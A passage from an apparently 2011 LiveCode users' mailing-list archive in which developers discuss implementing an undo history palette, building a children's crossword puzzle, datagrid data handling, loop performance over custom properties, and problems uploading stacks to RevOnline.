can write to, so it would not be as simple as storing the entire property set and then restoring it. So another approach would be to create a constant or system global with the names of the properties you DO want to be able to undo. This way you could loop through just the properties you care about, adding more later by updating the constant. You could check the new props against the last version of the stored props and just restore the property that was different, remembering to delete the last key of the saved properties array when the user "undid" what he had done. Undo's should go BACK in the array, not add another element IMHO. Seems doable, only how would you check to see if ANY of the properties had changed? There must be some kind of obscure message that gets sent when a property of an object is altered. One other kink I just thought of is the issue of closing unsaved stacks. What if your user closes the stack without saving? You would have to be able to go back to the point before the user last saved the stack. Also, if the user saves the stack, you would have to wipe the array so as not to "undo" into a now defunct version of your stack. Bob On Dec 8, 2011, at 9:03 AM, Keith Clarke wrote: > In this situation - undoes over a period of time - would not a time/date stamp within the array provide such a temporal key order? > Best, > Keith.. > > On 8 Dec 2011, at 16:40, Bob Sneidar wrote: > >> If there were a property that contained all of the standard properties of an object, you could simply store the array for that object in another array with 4 keys: The first being the version of the undo (for multiple undo's), the long id of the object, the defaultProperties (??) of the object, and the customProperties of the object. Here is where storing keys in an array in the order they were added would be REALLY handy, but alas, Livecode don' play dat! >> >> It's not very efficient storing both property sets in full, but much simpler to work with. This way you would not have to trap for every change a user could make to an object. >> >> Bob From pete at mollysrevenge.com Thu Dec 8 12:43:21 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 09:43:21 -0800 Subject: Creating an Undo palette In-Reply-To: <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> References: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> Message-ID: I think you could use a timestamp as a key of the array. The issues of accessing the elements of the array in time sequence order can be solved by putting the keys of the array into a variable, sorting the variable, using each line of the variable as an array key as needed. Just to complicate things even more - does each user of the application need their own undo stack or are they all acting on a central pool of data? If the former, then the design would need to include some sort of user id as part of the undo stack. I wish the LC IDE had a consistent undo stack along these lines! On Thu, Dec 8, 2011 at 9:03 AM, Keith Clarke < keith.clarke at clarkeandclarke.co.uk> wrote: > In this situation - undoes over a period of time - would not a time/date > stamp within the array provide such a temporal key order? > Best, > Keith.. > > On 8 Dec 2011, at 16:40, Bob Sneidar wrote: > > > If there were a property that contained all of the standard properties > of an object, you could simply store the array for that object in another > array with 4 keys: The first being the version of the undo (for multiple > undo's), the long id of the object, the defaultProperties (??) of the > object, and the customProperties of the object. Here is where storing keys > in an array in the order they were added would be REALLY handy, but alas, > Livecode don' play dat! > > > > It's not very efficient storing both property sets in full, but much > simpler to work with. This way you would not have to trap for every change > a user could make to an object. > > > > Bob > > > > > > On Dec 8, 2011, at 8:02 AM, Ken Ray wrote: > > > >> > >> On Dec 7, 2011, at 1:28 PM, Alejandro Tejada wrote: > >> > >>> Hi All, > >>> > >>> I am trying to create an Undo function > >>> for one of my stacks. > >>> > >>> Not sucessful at all. Everything seems so simple, > >>> but it failed everytime. > >>> > >>> The model that I am using for this task is the > >>> "History palette" used in Photoshop: > >>> > http://livedocs.adobe.com/en_US/Photoshop/10.0/help.html?content=WSfd1234e1c4b69f30ea53e41001031ab64-7497.html > >>> > >>> Now, I am asking for advice from all of you > >>> that have created similar function for your > >>> applications or stacks. > >> > >> Al, I've done that for my Stykz animation program, but only focused on > objects (it doesn't do any text undoing). You basically need to store the > state of an object before it is manipulated by the user so that you can > reinstate the same state after it's 'undone'. With the exception of actions > that physically destroy an object (like a "cut" or "delete" command), the > methods to choose from would fall into these three categories: > >> > >> 1) Using 'save' and 'revert' > >> 2) Store a physical copy of the original object, and then copy it back > again on an "undo" > >> 3) Storing/restoring all the properties of an object > >> > >> #1 is very touchy and doesn't give you the ability for multiple > undos/redos (which would seem to be your intention with the History > palette), so you can ignore that one. > >> > >> #2 could be used, but you're deleting and copying objects which will > use up object IDs rather quickly, and it is also a pain if the objects in > question are inside of a group at a specific layer in the group. > >> > >> #3 seemed to be the best choice for me, with #2 being used only when > the user wanted to cut or delete an object (I have an offscreen stack I use > to hold the objects in that instance. > >> > >> Basically you want to store the properties of an object *before* they > are manipulated by the user; if someone's doing that through an interface > (like changing the fill color of a graphic), you can store the old fill > color before you change it to the color they selected. It's a little > trickier with resizing/moving objects themselves, but it can be done. It's > more of a pain if you're giving the user the pointer tool, but it can be > done there as well. The bottom line is you need a message you can trap that > will take place *before* the user's action, then store the relevant > property(ies) in your undo history list, and then let the user's actions > take place. > >> > >> Hope this helps, > >> > >> Ken Ray > >> Sons of Thunder Software, Inc. > >> Email: kray at sonsothunder.com > >> Web Site: http://www.sonsothunder.com/ > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From rene.micout at numericable.com Thu Dec 8 12:44:46 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Thu, 8 Dec 2011 18:44:46 +0100 Subject: RevOnline Message-ID: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Good evening everybody, I have some difficulties to upload a stack on RevOnline... Have you the same experience ? From cmsheffield at me.com Thu Dec 8 12:51:11 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 08 Dec 2011 10:51:11 -0700 Subject: crossword puzzle in LiveCode Message-ID: Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). Does that even sound doable? Anyone have a better suggestion? Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From pepetoo at cox.net Thu Dec 8 12:59:33 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Thu, 8 Dec 2011 09:59:33 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: Hi Chris, One of the cards in my San Diego Coloring Book is a Crossword Puzzle. I did it pretty much by brute force. Nothing fancy but it works quite well. Would you like to see a screen shot? I'll send it to you directly if you would like. Joe Wilkins On Dec 8, 2011, at 9:51 AM, Chris Sheffield wrote: > Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. > > My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). > > Does that even sound doable? Anyone have a better suggestion? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com From martyknapp at comcast.net Thu Dec 8 12:59:42 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Thu, 08 Dec 2011 09:59:42 -0800 Subject: Creating an Undo palette In-Reply-To: <5DC4239E-368A-4BA6-9344-4B11867E6D35@twft.com> References: <217FFE23-6968-428D-97E8-DC724A7F0D1B@twft.com> <320C2B39-D270-4B1F-BB1C-01E68A58213F@clarkeandclarke.co.uk> <5DC4239E-368A-4BA6-9344-4B11867E6D35@twft.com> Message-ID: <4EE0FB0E.7010408@comcast.net> Trevor's "GLX Framework" has undo functionality, though I've not used that particular feature - perhaps that would be a good reference for you. Marty K From martyknapp at comcast.net Thu Dec 8 13:07:26 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Thu, 08 Dec 2011 10:07:26 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: References: <4ED93D45.6000406@comcast.net> <4EE0128B.1030906@comcast.net> Message-ID: <4EE0FCDE.8040306@comcast.net> Thank Pete - I'll play around with that. As to my second question, I know that dealing with data in a field is slower than in a variable and I'm wondering if the same is true when it comes to custom properties? So which is better (in a read only situation): repeat for each line pLine in the uData of this stack --uData being a custom property dostuff end repeat or put the uData of this stack into myVariable repeat for each line pLine in myVariable dostuff end repeat I've always put the cp into a variable, but am now wondering if I'm wasting time/memory. Thanks, Marty > Hi Marty, > I believe pline is sent along with GetDataForLine and is the line number > that the datagrid is requesting information for. So assuming that the data > in your custom property is in the same line sequence as the datagrid you > would just use line pline of your custom property to populate the pDataA > parameter of GetDataForLine. pDataA is an array with a key named for each > column in your datagrid. > > What I don't know is what happens if the user sorts the data in the > datagrid by clicking on a column header because then the datagrid rows will > not be in the same sequence as the lines in your custom property :-( > Normally, you'd deal with this by using the dgHIlitedIndex property of the > datagrid but I don;t know how it works in conjunction with GetDataOfLine. > > Pete > From bobs at twft.com Thu Dec 8 13:15:12 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 10:15:12 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <9907BF6D-3DA6-433D-8A8B-EE9C05EAFED9@twft.com> I give you http://www.crossdown.com/howtomake.htm It occurs to me that this cannot be entirely done by code. You would need a large library of words and their associated clues. The clues are quite arbitrary in nature, and so cannot be developed programmatically. Using a thesaurus could get you a long ways towards that end, but good crossword puzzles use well thought out clues that often have no relation to the word itself. Often they are "pun-ny". If it's just the creation of the grid you need however, I think the above link is ideal for defining the "rules" for a crossword puzzle. Bob On Dec 8, 2011, at 9:51 AM, Chris Sheffield wrote: > Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. > > My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). > > Does that even sound doable? Anyone have a better suggestion? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bdrunrev at gmail.com Thu Dec 8 13:17:04 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Thu, 8 Dec 2011 18:17:04 +0000 Subject: Creating an Undo palette In-Reply-To: <1323313261385-4171407.post@n4.nabble.com> References: <8CE8334D165E50D-1FE0-36C73@webmail-d172.sysops.aol.com> <1323313261385-4171407.post@n4.nabble.com> Message-ID: Just off the top of my head... couldn't you clone the current card, so the cards of the stack containing the object who's properties are being altered would represent the history of changes. What would be required of the palette stack then would be some kind of timeline interface to the stack of cards containing the history of changes. If the user reverted to a particular point in time, then you would need to delete all the cards from the latest card to that selected card. (I'm guessing from the responses of others, that my response is naive). I'm puzzled by Ken's remark about running out of IDs. What is the upper limit to the number of IDs? Bernard On Thu, Dec 8, 2011 at 3:01 AM, Alejandro Tejada wrote: > Hi dunbarx, > > The Undo palette should, in theory, > record all the changes made by user > in the properties of a control, from > the most recent change to the very > beginning of his creation. > > Many Thanks for > your interest! > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Creating-an-Undo-palette-tp4170194p4171407.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From livfoss at mac.com Thu Dec 8 13:19:02 2011 From: livfoss at mac.com (Graham Samuel) Date: Thu, 08 Dec 2011 19:19:02 +0100 Subject: Apple Photo (media) Picker Message-ID: <7E408E6D-370E-48AC-8DE6-DF63F271BC75@mac.com> I wonder has anyone used LiveCode to emulate a media picker for the Mac platform such as Apple uses for Pages etc.? In its simplest form it is a browser for the iPhoto library, showing indexing and thumbnails for the pictures - OK, it does audio and movies too, but I'm most interested in the picture library. My idea is to use it as a tool in some kinds of LC development work, rather than exporting particular pictures from iPhoto before using / placing them. Shouldn't be impossible, but I don't want to reinvent it if it's been done. Graham From m.schonewille at economy-x-talk.com Thu Dec 8 13:26:23 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 8 Dec 2011 19:26:23 +0100 Subject: Apple Photo (media) Picker In-Reply-To: <7E408E6D-370E-48AC-8DE6-DF63F271BC75@mac.com> References: <7E408E6D-370E-48AC-8DE6-DF63F271BC75@mac.com> Message-ID: <09B98378-697C-47F4-B7BC-FF0FA89AF257@economy-x-talk.com> Hi Graham, Why emulate it? Use AppleScript/Automator to use the real one. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 8 dec 2011, at 19:19, Graham Samuel wrote: > I wonder has anyone used LiveCode to emulate a media picker for the Mac platform such as Apple uses for Pages etc.? In its simplest form it is a browser for the iPhoto library, showing indexing and thumbnails for the pictures - OK, it does audio and movies too, but I'm most interested in the picture library. My idea is to use it as a tool in some kinds of LC development work, rather than exporting particular pictures from iPhoto before using / placing them. Shouldn't be impossible, but I don't want to reinvent it if it's been done. > > Graham From mark.hausmann at jessenlenz.com Thu Dec 8 13:27:56 2011 From: mark.hausmann at jessenlenz.com (mark.hausmann at jessenlenz.com) Date: Thu, 8 Dec 2011 19:27:56 +0100 Subject: =?ISO-8859-1?Q?AUTO=3A_Mark_Hausmann=2Fjl1_ist_au=DFer_Haus=2E_=28?= =?ISO-8859-1?Q?R=FCckkehr_am_09=2E12=2E2011=29?= Message-ID: Ich bin bis 09.12.2011 abwesend Ich werde Ihre Nachricht nach meiner R?ckkehr beantworten. In dringenden F?llen wenden Sie sich bitte an meinen Kollegen Horst Strohkirch, email: horst.strohkirch at pdap.de Hinweis: Dies ist eine automatische Antwort auf Ihre Nachricht "Re: Using the GetDataOfLine function out of the message path?" gesendet am 08.12.2011 15:34:07. Diese ist die einzige Benachrichtigung, die Sie empfangen werden, w?hrend diese Person abwesend ist. From roger.e.eller at sealedair.com Thu Dec 8 13:29:40 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Thu, 8 Dec 2011 13:29:40 -0500 Subject: [OT] an Android milestone Message-ID: http://techcrunch.com/2011/12/06/android-market-10-billion-apps-served-so-far-and-another-1-billion-each-month/ From bobs at twft.com Thu Dec 8 13:29:46 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 8 Dec 2011 10:29:46 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <4EE0FCDE.8040306@comcast.net> References: <4ED93D45.6000406@comcast.net> <4EE0128B.1030906@comcast.net> <4EE0FCDE.8040306@comcast.net> Message-ID: <7D233BD6-FF57-43D1-A65D-BE69268C19CE@twft.com> I am not sure you can even do it the way the first example allows. It is my understanding that the repeat for each form creates an internal array of pointers to the delimiters in the actual memory location for the variable, and that is why you cannot change myVariable inside the repeat loop. Changing anything about myVariable will run the risk; no the certainty of moving the variable around in memory therefore invalidating the internal array of pointers, returning garbled crap instead of what you expect in pLine. (ask me how I know). This is also what makes repeat for each so incredibly fast! myVariable only has to be evaluated once at the beginning of the repeat loop. By referencing the property each time, the engine would, it seems have to re-evaluate the property on every iteration, breaking the rule that you cannot alter the contents of the 'in' argument. But who knows? Give it a try! *prays for Marty* Bob On Dec 8, 2011, at 10:07 AM, Marty Knapp wrote: > As to my second question, I know that dealing with data in a field is slower than in a variable and I'm wondering if the same is true when it comes to custom properties? > > So which is better (in a read only situation): > > repeat for each line pLine in the uData of this stack --uData being a custom property > dostuff > end repeat > > or > put the uData of this stack into myVariable > repeat for each line pLine in myVariable > dostuff > end repeat > > I've always put the cp into a variable, but am now wondering if I'm wasting time/memory. > > Thanks, > Marty From mwieder at ahsoftware.net Thu Dec 8 13:38:37 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 8 Dec 2011 18:38:37 +0000 (UTC) Subject: crossword puzzle in LiveCode References: Message-ID: Chris Sheffield writes: > Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a > loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I did one of these a few years back. Jacque was kind enough to share a word dictionary file she had. I'll see if I can dig up the relevant stack. Keep in mind that crossword puzzles are symmetrical diagonally. You probably don't want to do the whole thing automatically, but arrange some key words by hand, set up the grid, then turn your program loose to fill in the odd bits. And the hard part isn't making the grid or filling in words to make a complete puzzle, it's coming up with clever clues that fit the expectations of both puzzle solvers and editors. You can't vary too much from what's expected or you'll run afoul of having the puzzle deemed "too hard" or "too arcane" or something. Not to mention losing out on the fun of creating it by hand. My take after experimenting with this for a while is that it's ok as a helper app but on the whole it's better done by hand. That's where the fun is and the creativity and you'll have a better overall experience than if you turned it over to a machine. -- Mark Wieder From dixonja at hotmail.co.uk Thu Dec 8 13:49:35 2011 From: dixonja at hotmail.co.uk (John Dixon) Date: Thu, 8 Dec 2011 18:49:35 +0000 Subject: crossword puzzle in LiveCode In-Reply-To: <9907BF6D-3DA6-433D-8A8B-EE9C05EAFED9@twft.com> References: , <9907BF6D-3DA6-433D-8A8B-EE9C05EAFED9@twft.com> Message-ID: No Bob... not 'pun-ny'... the word you are looking for is cryptic...:-) > Using a thesaurus could get you a long ways towards that end, but good crossword puzzles use well thought out clues that often have no relation to the word itself. Often they are "pun-ny". > > If it's just the creation of the grid you need however, I think the above link is ideal for defining the "rules" for a crossword puzzle. > > Bob From pete at mollysrevenge.com Thu Dec 8 13:52:29 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 10:52:29 -0800 Subject: RevOnline In-Reply-To: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> References: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Message-ID: Yes, been trying for weeks to upload a stack with no success. On Thu, Dec 8, 2011 at 9:44 AM, Ren? Micout wrote: > Good evening everybody, > I have some difficulties to upload a stack on RevOnline... > Have you the same experience ? > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From stephenREVOLUTION2 at barncard.com Thu Dec 8 13:56:07 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Thu, 8 Dec 2011 10:56:07 -0800 Subject: RevOnline In-Reply-To: References: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Message-ID: Not to mention that finding stuff there is problematic. On 8 December 2011 10:52, Pete wrote: > Yes, been trying for weeks to upload a stack with no success. > > On Thu, Dec 8, 2011 at 9:44 AM, Ren? Micout >wrote: > > > Good evening everybody, > > I have some difficulties to upload a stack on RevOnline... > > Have you the same experience ? > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From richmondmathewson at gmail.com Thu Dec 8 13:59:10 2011 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 08 Dec 2011 20:59:10 +0200 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <4EE108FE.2020409@gmail.com> cop a look at this: http://aitech.ac.jp/~ckelly/hc/ > Hi Chris, > > One of the cards in my San Diego Coloring Book is a Crossword Puzzle. I did it pretty much by brute force. Nothing fancy but it works quite well. Would you like to see a screen shot? I'll send it to you directly if you would like. > > Joe Wilkins > > On Dec 8, 2011, at 9:51 AM, Chris Sheffield wrote: > >> Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. >> >> My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). >> >> Does that even sound doable? Anyone have a better suggestion? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at me.com Thu Dec 8 14:02:00 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 08 Dec 2011 12:02:00 -0700 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: Hi Joe, Yes, a screenshot would be great if you don't mind. Trying to gather together all ideas and information. Thanks, Chris On Dec 8, 2011, at 10:59 AM, Joe Lewis Wilkins wrote: > Hi Chris, > > One of the cards in my San Diego Coloring Book is a Crossword Puzzle. I did it pretty much by brute force. Nothing fancy but it works quite well. Would you like to see a screen shot? I'll send it to you directly if you would like. > > Joe Wilkins > > On Dec 8, 2011, at 9:51 AM, Chris Sheffield wrote: > >> Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. >> >> My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). >> >> Does that even sound doable? Anyone have a better suggestion? >> >> Thanks, >> Chris >> >> >> -- >> Chris Sheffield >> Read Naturally, Inc. >> www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From matthias_livecode_150811 at m-r-d.de Thu Dec 8 14:01:18 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 8 Dec 2011 20:01:18 +0100 Subject: RevOnline In-Reply-To: References: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Message-ID: <86A53EBE-A4F9-4F3C-9C7B-65E2412292FC@m-r-d.de> Hi, did someone already inform support at runrev.com about that problem? Regards, Matthias Am 08.12.2011 um 19:52 schrieb Pete: > Yes, been trying for weeks to upload a stack with no success. > > On Thu, Dec 8, 2011 at 9:44 AM, Ren? Micout wrote: > >> Good evening everybody, >> I have some difficulties to upload a stack on RevOnline... >> Have you the same experience ? >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From cmsheffield at me.com Thu Dec 8 14:05:32 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Thu, 08 Dec 2011 12:05:32 -0700 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: <57D73B18-5917-43A9-9A0E-D621EAD10A64@me.com> Thanks to all who have responded so far. One benefit is that I already have all the content required (words and clues). And these are fairly simple crosswords. They'll be used by children as a review tool after reading a series of stories. The words in the crossword will all be vocabulary words from the stories. So really I just need a way to set up my grid and how best to deal with text entries into the puzzle. Anyway, I appreciate the suggestions thus far. Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com On Dec 8, 2011, at 10:51 AM, Chris Sheffield wrote: > Has anybody ever created a crossword puzzle application in LC? I'm having to make one, and I'm kind of at a loss. Not really sure how to proceed. If anyone has some pointers or sample code they'd be willing to share, I'd be most grateful. > > My idea right now is to have some kind of a grid that would get created at run-time. Not sure yet whether to use square graphics or just use actual fields. So the application would be fed the max number of spaces across and then the max number of spaces down. So say the longest word across has 10 letters, and the longest word down has 6 letters. So a grid that is 10 by 6 would be created. Then I would somehow determine where the letters for the words will be placed in the grid (still kind of fuzzy on this part), and then once that's done, I would hide the unused spaces, leaving behind a crossword layout. Tapping/clicking in a space would then allow the user to enter a letter for that space (or something of that nature). > > Does that even sound doable? Anyone have a better suggestion? > > Thanks, > Chris > > > -- > Chris Sheffield > Read Naturally, Inc. > www.readnaturally.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From martyknapp at comcast.net Thu Dec 8 14:10:37 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Thu, 08 Dec 2011 11:10:37 -0800 Subject: Datagrid - GetDataForLine In-Reply-To: <7D233BD6-FF57-43D1-A65D-BE69268C19CE@twft.com> References: <4ED93D45.6000406@comcast.net> <4EE0128B.1030906@comcast.net> <4EE0FCDE.8040306@comcast.net> <7D233BD6-FF57-43D1-A65D-BE69268C19CE@twft.com> Message-ID: <4EE10BAD.8090402@comcast.net> Thanks Bob, I did a brief test using my first form and though it seemed to work, I was concerned that I was doing a no-no. So Bob, how DO you know?!! Thanks for the prayers! (and any cheese you may have . . .) So I'll keep on putting the cp into a variable first. Marty > I am not sure you can even do it the way the first example allows. It is my understanding that the repeat for each form creates an internal array of pointers to the delimiters in the actual memory location for the variable, and that is why you cannot change myVariable inside the repeat loop. Changing anything about myVariable will run the risk; no the certainty of moving the variable around in memory therefore invalidating the internal array of pointers, returning garbled crap instead of what you expect in pLine. (ask me how I know). This is also what makes repeat for each so incredibly fast! myVariable only has to be evaluated once at the beginning of the repeat loop. > > By referencing the property each time, the engine would, it seems have to re-evaluate the property on every iteration, breaking the rule that you cannot alter the contents of the 'in' argument. But who knows? Give it a try! *prays for Marty* > > Bob > > > On Dec 8, 2011, at 10:07 AM, Marty Knapp wrote: > >> As to my second question, I know that dealing with data in a field is slower than in a variable and I'm wondering if the same is true when it comes to custom properties? >> >> So which is better (in a read only situation): >> >> repeat for each line pLine in the uData of this stack --uData being a custom property >> dostuff >> end repeat >> >> or >> put the uData of this stack into myVariable >> repeat for each line pLine in myVariable >> dostuff >> end repeat >> >> I've always put the cp into a variable, but am now wondering if I'm wasting time/memory. >> From pete at mollysrevenge.com Thu Dec 8 14:14:59 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 11:14:59 -0800 Subject: crossword puzzle in LiveCode In-Reply-To: References: Message-ID: Hmmm, is that really true? There's a free puzzle builder at http://www.eclipsecrossword.com/tour.html On Thu, Dec 8, 2011 at 10:38 AM, Mark Wieder wrote: > Keep in mind that crossword puzzles are symmetrical diagonally > -- Pete Molly's Revenge From pete at mollysrevenge.com Thu Dec 8 14:16:05 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 8 Dec 2011 11:16:05 -0800 Subject: RevOnline In-Reply-To: References: <3A8C8FE9-AA00-4FAE-A6AF-EF66B97DDFA9@numericable.com> Message-ID: Yes, that too! On Thu, Dec 8, 2011 at 10:56 AM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > Not to mention that finding stuff there is problematic. > > On 8 December 2011 10:52, Pete wrote: > > > Yes, been trying for weeks to upload a stack with no success. > > > > On Thu, Dec 8, 2011 at 9:44 AM, Ren? Micout > >wrote: > > > > > Good evening everybody, > > > I have some difficulties to upload a stack on RevOnline... > > > Have you the same experience ? > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode 